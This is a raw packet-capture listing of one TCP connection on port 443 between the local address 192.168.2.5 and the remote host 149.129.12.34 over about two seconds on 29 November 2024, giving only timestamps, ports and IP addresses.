Nov 29, 2024 15:45:43.826925039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.826951027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.827150106 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.827167988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.827213049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.832266092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.832282066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.832339048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.832348108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.832382917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.837862015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.837887049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.837919950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.837928057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.837961912 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.837995052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.842700958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.842715025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.842772007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.842778921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.842816114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.848228931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.848244905 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.848294020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.848301888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.848340988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.854023933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.854038954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.854087114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.854093075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.854160070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.859006882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.859023094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.859074116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.859082937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.859119892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.864216089 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.864586115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.864602089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.864641905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.864660025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:43.864681959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.864697933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:43.893146992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.065452099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.065476894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.065531015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.065557003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.065578938 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.065589905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.071026087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.071043015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.071075916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.071084023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.071105003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.071124077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.076498985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.076514959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.076559067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.076565981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.076577902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.076602936 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.081500053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.081516981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.081562042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.081571102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.081602097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.081618071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.086937904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.086952925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.086987019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.086994886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.087014914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.087035894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.092120886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.092135906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.092169046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.092178106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.092215061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.092542887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.097723007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.097739935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.097793102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.097804070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.097842932 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.103210926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.103229046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.103264093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.103272915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.103297949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.103307009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.431047916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.431061029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.431094885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.431153059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.431185961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.431201935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.431219101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.436589956 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.436614037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.436672926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.436681032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.436721087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.441942930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.441961050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.442024946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.442033052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.442071915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.447531939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.447554111 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.447618961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.447626114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.447664976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.452686071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.452707052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.452789068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.452795982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.452837944 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.457575083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.457595110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.457689047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.457696915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.457751989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.463224888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.463243961 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.463305950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.463318110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.463356972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.468687057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.468704939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.468780994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.468787909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.468827963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.676759958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.676773071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.676789045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.676997900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.677010059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.677054882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.681730986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.681747913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.681792974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.681799889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.681819916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.681843042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.687197924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.687213898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.687267065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.687274933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.687319994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.692676067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.692692995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.692732096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.692739964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.692759991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.692775011 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.698124886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.698142052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.698183060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.698190928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.698213100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.698223114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.703428030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.703444958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.703502893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.703510046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.703555107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.708393097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.708410025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.708462000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.708468914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.708501101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.713963032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.713985920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.714016914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.714024067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.714041948 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.714063883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.714149952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.888669014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.888693094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.888798952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.888823032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.888859987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.895478964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.895494938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.895544052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.895554066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.895591021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.899185896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.899202108 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.899245024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.899255037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.899288893 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.904129982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.904165030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.904212952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.904221058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.904258013 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.909363031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.909379005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.909426928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.909440994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.909471035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.909490108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.914879084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.914896011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.914952993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.914962053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.915000916 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.920382977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.920398951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.920444012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.920454979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.920486927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.923592091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.925259113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.925275087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.925333023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.925342083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:44.925374031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:44.934196949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.098750114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.098776102 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.098916054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.098938942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.098984957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.104291916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.104315042 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.104368925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.104383945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.104419947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.109157085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.109179020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.109226942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.109235048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.109258890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.109277964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.114743948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.114759922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.114818096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.114826918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.114861012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.119930029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.119945049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.119993925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.120001078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.120038033 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.125389099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.125407934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.125461102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.125467062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.125499010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.130994081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.131011963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.131073952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.131081104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.131120920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.135850906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.135869980 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.135926008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.135931969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.135967016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.309237957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.309262991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.309422970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.309436083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.309478045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.314624071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.314641953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.314707994 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.314714909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.314749002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.320456982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.320472002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.320528984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.320538044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.320570946 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.325095892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.325113058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.325165987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.325172901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.325206041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.330998898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.331016064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.331064939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.331072092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.331106901 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.335880995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.335899115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.335951090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.335958004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.335994959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.341391087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.341408014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.341461897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.341469049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.341500998 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.346916914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.346935987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.346998930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.347004890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.347037077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.520303011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.520342112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.520453930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.520479918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.520517111 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.525047064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.525064945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.525106907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.525115967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.525149107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.530636072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.530657053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.530683041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.530694962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.530721903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.530733109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.538408041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.538424969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.538479090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.538489103 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.538522005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.541363001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.541378975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.541410923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.541418076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.541438103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.541451931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.551157951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.551175117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.551229954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.551238060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.551265955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.552401066 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.552416086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.552459002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:45.552464962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:45.552495956 CET	49704	443	192.168.2.5	149.129.12.34
